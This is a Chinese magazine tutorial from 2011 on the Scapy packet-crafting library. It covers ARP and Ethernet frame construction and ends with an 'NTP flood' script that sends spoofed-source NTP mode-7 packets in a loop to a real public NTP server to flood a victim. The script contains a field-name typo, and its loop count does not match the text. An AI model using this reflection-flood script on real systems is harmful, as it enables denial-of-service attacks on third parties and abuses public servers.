协议包构造工具-Scapy

Table of Contents

本文已发于《黑客防线》2011.10期

1 前言

Wireshark是一个非常优秀的跨平台的协议包抓包工具,由于笔者长期研究网络协议方面的东西,光靠抓包学习协议是不足够的,很多时候需要自己构造协议的数据包,但基于winpcap编程也是比较琐碎麻烦的,所以需要一个能专心于数据包构造而又不用分心去花大部分时间在编程细节上的工具。

Scapy就是一个很好的协议包构造的程序,说它是程序还不是特别准确,它不仅可以在命令交互式下设置各个协议的字段值、发送和接受数据,它还可以作为库来使用。如此强大的功能都在于它是基于python开发的,所以可以在自己的python程序中很方便地import。

2 Scapy的使用

Scapy在Ubuntu下很好安装,直接用apt-get install scapy即可了。因为Backtrack5中本身就自带了scapy,就不浪费时间在介绍它的安装上了。我们讲集中精力在它的使用方法上,笔者就直接使用Backtrack5中的scapy。

Scapy在Backtrack5中位于“BackTrack->Information Gathering->Network Analysis->Network Traffic Analysis”菜单下,也可以直接在终端中输入“scapy”命令启动即可。注意需要root权限。

启动Scapy之后首先就是一个交互式操作的界面,如图1。

%E5%9B%BE%E7%89%871.jpg

Scapy用的是面向对象设计的,也就是说,每个协议就是一个类,对协议的操作就是调用函数。理解这个是很重要的。在交互界面中,可以通过lsc()命令(其实是一个函数,为了不引起混淆,在这里我错误地将其称作为“命令”)来列出对协议数据包通用的操作方法以及说明。如图2:

%E5%9B%BE%E7%89%872.jpg

其中我们用得比较多的是send()和sendp(),从后面的英文解释看得出,send()是用来发送第三层(网络层)协议的数据包,也就是最常用的TCP和UDP协议了;sendp()是发送第二层,即数据链路层的,典型的就是ARP协议了。

使用ls()可以列出当前scapy中所支持的所有协议,如图3,scapy支持相当多的协议呢,并且scapy是允许用户自己扩展协议的,关于这点,就不在此讨论了。

%E5%9B%BE%E7%89%873.jpg

还可以通过ls(协议名)来列出指定协议的具体字段即字段说明。如图4是ARP协议的字段说明:

%E5%9B%BE%E7%89%874.jpg

了解以上后,现在就可以来具体构造一个协议包试试了。这里我构造一个ARP协议包。方法就跟定义对象一样。在交互式中,输入arp = ARP()来定义一个ARP协议的对象。此时可以通过arp.show()方法来显示具体的字段,如图5:

%E5%9B%BE%E7%89%875.jpg

设置协议字段可以通过“对象名.字段名”的格式来设置。此例中,hwsrc是源主机的MAC地址,hwdst是目标主机的MAC地址,咱就用源地址是AA:AA:AA:AA:AA:AA向FF:FF:FF:FF:FF:FF发送一个广播ARP数据包。如图6:

%E5%9B%BE%E7%89%876.jpg

上文我已经提到了,直接使用sendp就可以发送二层数据包了,对吧?但scapy有趣的地方在于,它可以让你感受一下数据的封装,我们知道以太网的标准帧格式对吧,需要有目标和源的MAC地址,于是,我们需要封装一下以太网的帧格式,然后再发送。

也就是说,我们在此还需要像构造ARP包一样构造一个标准的以太网帧,如下所示:

>>ehter = Ether()

>>ehter.show()

   dst = 00:00:00:00:00:00

   src = 00:00:00:00:00:00

   type = 0x0

>>ether.dst = "ff:ff:ff:ff:ff:ff"

dst就是目标MAC地址,我设置成的广播地址。然后看看scapy神奇的封装:

>>sendp(ether/arp)

看,上层的包就“封装”在“/”的右边。回车后提示“Send 1 packets”,表明发送出一个数据包。图7是我用Wireshark捕捉到的。

%E5%9B%BE%E7%89%877.jpg

我们完全可以在自己的python脚本中使用scapy的,将刚才的示例写成python脚本就如下:

from scapy.all import *

arp = ARP()
arp.hwsrc="AA:AA:AA:AA:AA:AA"
arp.hwdst="FF:FF:FF:FF:FF:FF"

ether = Ether()
ether.dst = "FF:FF:FF:FF:FF:FF"

sendp(ether/arp)

这里只用注意,导出时用scapy.all。

3 实例:NTP洪水攻击

以前的Linxinsnow和Longas就在黑防上写过关于NTP攻击了,于是就研究了一下,顺便就用scapy来完成这个攻击脚本,脚本如下:

from scapy.all import *

for i in range(1,10000):
    #构造IP数据包
    ip = IP()
    #伪造一个源地址,NTP服务器返回的数据流它上面去
    ip.scr = '192.168.1.102'
    #这是NTP服务器的IP
    ip.dst = '133.100.11.8'

    #构造UDP数据包
    udp = UDP()
    #源端口,我QQ号的前5位,乱写的
    udp.sport = 42155
    #目标端口,NTP的服务的监听端口是123
    udp.dport = 123

    #构造NTP数据包
    ntp = NTP()
    #NTP版本,我用的v2
    ntp.version = 2
    #模式,内部模式
    ntp.mode = 7
    ntp.stratum = 0
    ntp.poll = 2
    ntp.precision = 42

    #将数据包封装后发出去

    send(ip/udp/ntp)

这里主要用scapy自己构造了一个IP包、UDP包,还设定了特定几个NTP字段,用scapy伪造数据包实在是非常方便,题外话,其实有许多协议都有一个致命的弱点就是可以伪造数据,这也是早期发明协议时没有考虑过的安全问题吧。当时我用这个脚本来测试家里的TP-LINK,循环了10万次,几分钟就掉线了。